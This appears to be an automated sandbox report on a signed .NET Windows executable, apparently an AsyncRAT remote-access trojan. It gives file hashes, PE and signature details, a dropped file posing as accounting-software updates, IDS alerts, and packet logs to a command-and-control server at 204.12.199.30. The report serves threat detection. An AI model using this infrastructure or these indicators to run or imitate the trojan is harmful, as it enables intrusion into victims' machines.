Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....ry...............0..2...........Q... ........@.. ..............................fK....`..................................P..K....`...............F...(...........P............................................... ............... ..H............text....1... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............D..............@..B.................P......H........6...............+..`............................................(.....~....%-.&~..........s....%.....s....%.o....o........0..........~....(....(....o.....~.....(....,..~....(....,..~....(....-.~....(....o.....(.....i~....X......~.....o.....~....(....~....(.......0..I.......(.......+....o....(......X....i2.~......o....%(....s....(.....,.(...........0..K.......(....%o.....o....(.....~....(......~.....~...._(....&.~........~....(....&*.(.....1.(....(....(....&(...

C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\EGSh5caf8a.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.397214733539755
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	EGSh5caf8a.exe
File size:	93'896 bytes
MD5:	712940baef78c821e36b8701bf073c52
SHA1:	d59896b87424fafc0d00ab5e5c2019bd941167ce
SHA256:	08f8498aec75418bb4c12972a6547ee2c4762160e7bf36c558a91b7b9110ed3f
SHA512:	68bc6df413e00e6420ee6db6e4d0497bab61908b96f48fdb6bf6aae9bed72de840d83dfc0017dd24995a05f29b415b82852f84e9b74de85d303b67cc396c7007
SSDEEP:	1536:qoJFOWbLXbbetrgpFZ2nrWLtyEclopV4c78eiV:zFOWbLLbetrgQn6BpVD34
TLSH:	D293B4788F89D526F3958CF891F2D69FD4BDA674191AC472EABF89ACC35C7842D12003
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....ry...............0..2...........Q... ........@.. ..............................fK....`................................

File Icon


Icon Hash:	f08c92a8e8f0b245

Static PE Info

General

Entrypoint:	0x40510e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xBC79720B [Sat Mar 15 02:20:59 2070 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	18/03/2024 01:00:00 18/04/2025 01:59:59
Subject Chain	CN=Munish Walia, O=Munish Walia, S=Punjab, C=IN
Version:	3
Thumbprint MD5:	84620E59BCC75E9243C975DCBA4F8685
Thumbprint SHA-1:	5A168F8DEFECA0DF26C330937FAF04A2BE34D879
Thumbprint SHA-256:	5B799ED539CADF85859FA8553349A3985E208EC4438836CE1CEA228FFC6CD61A
Serial:	786E6B5A7F502A65A479D72822A8B2B7

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x50c0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x10fdc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x14600	0x28c8	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x50a4	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3114	0x3200	7f9e56ab8be5e3e8b1df38e8be9386cb	False	0.63578125	SysEx File - Matsushita	6.283552590397781	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x10fdc	0x11000	8cc48e06119181d11f1f5d5c28eafd2d	False	0.17637005974264705	data	5.9140904081711705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x18000	0xc	0x200	36739f2453b766ee5dd5064c822ef55b	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x6100	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.16868271619543357
RT_GROUP_ICON	0x16938	0x14	data	1.15
RT_VERSION	0x1695c	0x3ec	data	0.3844621513944223
RT_MANIFEST	0x16d58	0x27f	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.4647887323943662

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/19/24-11:37:15.963600	TCP	2030673	ET TROJAN Observed Malicious SSL Cert (AsyncRAT Server)	8808	49710	204.12.199.30	192.168.2.7
04/19/24-11:37:15.963600	TCP	2035595	ET TROJAN Generic AsyncRAT Style SSL Cert	8808	49710	204.12.199.30	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 11:37:07.701522112 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.834212065 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.834311962 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.834968090 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.981703997 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982209921 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982268095 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982284069 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982301950 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982320070 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982340097 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982340097 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982340097 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982347965 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982352018 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982386112 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982399940 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982400894 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982410908 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982439995 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982439995 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982470989 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982489109 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982507944 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982507944 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982525110 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982533932 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982539892 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982551098 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982557058 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982573032 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982573986 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982584000 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982590914 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:07.982598066 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982621908 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:07.982634068 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.114850998 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.114885092 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.114903927 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.114921093 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.114936113 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.115041971 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.115088940 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.115092039 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.115151882 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.120349884 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.212794065 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.253525972 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.253576040 CEST	20991	49708	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.253650904 CEST	49708	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.345808983 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.345896959 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.346025944 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.495069027 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.495799065 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.495817900 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.495834112 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.495857000 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.495873928 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.495898008 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.495898008 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.495903015 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.495919943 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.495929956 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.495945930 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.495964050 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496026039 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496041059 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496056080 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496063948 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496078014 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496087074 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496093988 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496123075 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496141911 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496141911 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496151924 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496170044 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496171951 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496207952 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496226072 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496243954 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496260881 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.496263981 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496280909 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.496299028 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.627788067 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.627815008 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.627834082 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.627868891 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.627906084 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.627919912 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.627937078 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.627973080 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.628004074 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628021002 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628036022 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628052950 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628061056 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.628071070 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628092051 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.628092051 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.628139973 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628155947 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628175020 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628180981 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.628212929 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.628218889 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628249884 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.628307104 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.628319979 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.759912014 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.759937048 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.759953976 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.759964943 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.759979010 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.760025024 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.760042906 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.760042906 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.760056973 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.760143995 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.760171890 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.760190010 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.760207891 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.760215998 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.760226011 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.760250092 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.760266066 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.891976118 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892004013 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892066956 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892132044 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892165899 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.892174006 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892213106 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892235994 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.892252922 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892272949 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.892292023 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892328978 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892365932 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:08.892385006 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:08.892410040 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.024297953 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024324894 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024344921 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024363041 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024382114 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024399996 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024408102 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.024447918 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.024456978 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.024502039 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024544954 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.024552107 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024605989 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.024616957 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024633884 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.024678946 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.024692059 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.156305075 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156352997 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156377077 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156383991 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156390905 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156409979 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156410933 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.156429052 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156451941 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.156455040 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156476974 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156492949 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.156497002 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.156517982 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.156539917 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.288346052 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288378000 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288397074 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288414001 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288429976 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288438082 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.288448095 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288471937 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.288465023 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288491011 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288507938 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288520098 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.288525105 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.288541079 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.288557053 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.420638084 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420677900 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420685053 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420691013 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420711040 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420727968 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420744896 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420748949 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.420762062 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420779943 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420788050 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.420804024 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.420814991 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.420845985 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.552757025 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.552834988 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.552874088 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.552908897 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.552932024 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.552973986 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.553011894 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.553030968 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.553067923 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.553080082 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.553109884 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.553148985 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.553157091 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.553188086 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.553227901 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.685112953 CEST	20991	49709	204.12.199.30	192.168.2.7
